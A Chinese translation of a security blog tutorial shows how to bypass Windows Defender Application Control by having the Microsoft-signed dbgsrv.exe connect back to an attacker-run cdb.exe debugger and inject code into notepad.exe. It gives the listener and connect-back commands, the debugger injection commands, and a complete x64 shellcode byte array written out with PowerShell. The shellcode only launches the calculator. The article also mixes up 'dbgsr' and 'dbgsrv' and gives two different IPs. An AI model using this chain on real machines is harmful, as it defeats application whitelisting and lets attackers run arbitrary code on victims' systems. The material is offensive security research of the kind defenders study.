如何利用dbgsrv.exe绕过WDAC
WDAC - Windows Defender应用程序控制
微软自带应用和黑名单
注:这篇文章包含了2019年Casey Smith和Ross Wolf在美国BlackHat大会上的演讲内容
目前,Windows中存在很多基于白名单程序的代码执行绕过,攻击者会利用微软系统自带应用中的某些功能来合法执行恶意代码。由于大多数绕过方法都是基于系统应用的合法功能,而不是直接突破白名单的限制,所以微软通常不会对这些脆弱的应用大动干戈,但官方会维护一个应用“黑名单”列表,提示各大公司组织都应在自己的网络环境中限制这些应用,除非非用不可。
如果你看下这个黑名单列表,你会看到很多熟悉的身影,比如:
Msbuild.exe
Wmic.exe
Mshta.exe
此外,黑名单中还有另一类应用,主要是调试器工具,例如:
Cdb.exe
Dbghost.exe
Dbgsvc.exe
Windbg.exe
从绕过的角度来看,调试器似乎并不是很常用,但是,它们被包含在这个黑名单肯定是有道理的,对吗?假设,如果我们能够与进程交互并修改其执行动作,那就可以绕过系统上的任何保护来执行任意代码。调试器也是如此,不同程序都可扩展调试功能,从而允许攻击者以意想不到的方式滥用功能,导致任意代码执行。
让我们更深入地研究这个概念。
利用远程调试进行绕过
首先,让我们安装Windows 10 SDK(version 1903),特别是用于Windows的调试工具。在安装完成调试工具之后,让我们特别关注一下dbgsr.exe
。与以前滥用白名单程序一样,找到一个可以利用的应用是重点。当使用sigcheck对dbgsrv.exe
进行检查,可以看到它是由Microsoft签名的。
下一个问题是dbgsr.exe
究竟可做什么?它被称为“process server”,可让开发人员使用cdb.exe
之类的调试器远程调试应用程序。你可以在这里查看该应用支持的各种命令行选项。其中,-t
可让你为dbgsr.exe
指定传输协议,这里还有进一步的说明文档。dbgsr.exe
支持的很多不同的传输方式:
命名管道
TCP
串行端口
SSL
安全管道
为了“远程调试”,主动让dbgsr.exe
回连攻击者所控制的计算机,从而利用这个微软签名应用达到远控的效果。
完成上述操作的第一步是设置调试器,将其配置为接受远程连接。这一步可以通过cdb.exe
完成。虽然cdb.exe
也在微软的黑名单中的,但这次它是在攻击者的机器上运行。接下来,我们就让dbgsr.exe
回连到攻击者控制的机器。
首先将cdb.exe
配置为接收我们的传入连接,可以运行以下命令:
&”C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe” -premote tcp:port=22,clicon=0.0.0.0 C:\Windows\system32\notepad.exe
其中-premote
选项代表cdb.exe
应该监听22端口,当调试器接收到传入连接时,远程系统生成notepad.exe
进行调试。
下一步是让dbgsr.exe
连接到攻击者控制的系统,并与调试器进行交互。相关命令如下:
“C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe” -t tcp:clicon=172.16.86.144,port=22
以上命令代表dbgsrv.exe
以TCP的形式连接到172.16.93.144
的22端口。因为cdb.exe
早已运行,一旦你运行上面的命令,你就会看到一个notepad.exe
在受害者系统上出现。
再回到攻击者的机器上,我们现在可以通过cdb.exe
与远程系统上的notepad.exe
进行交互。
用cdb.exe注入恶意代码
此时,只需使用cdb.exe将恶意代码注入notepad.exe并运行就大功告成了。这里牵涉到以下命令:
.dvalloc - 此命令将为调试后的进程中分配用户指定的内存
.readmem - 此命令将从文件中读取数据并将其复制到用户指定的内存地址中
.r @$ip= - 设置指令指针,从用户指定的内存地址开始运行命令
g - 指示cdb.exe开始执行
要进行彻底的武器化,需要创建一个包含shell代码的文件。在本例中,Casey创建了一个名为“shellcode”的文件,里面的代码将弹出计算器。
现在,我们需要在cdb中运行上述命令来攻击受害者系统。
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
[io.file]::WriteAllBytes('shellcode.jpg',$Shellcode64)
以上是利用powershell生成的恶意文件。
在执行完成之后,我们可以看到,受到严密保护的受害者系统跳出了计算器。
感谢你阅读这篇文章!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.fortynorthsecurity.com/how-to-bypass-wdac-with-dbgsrv-exe/
最新评论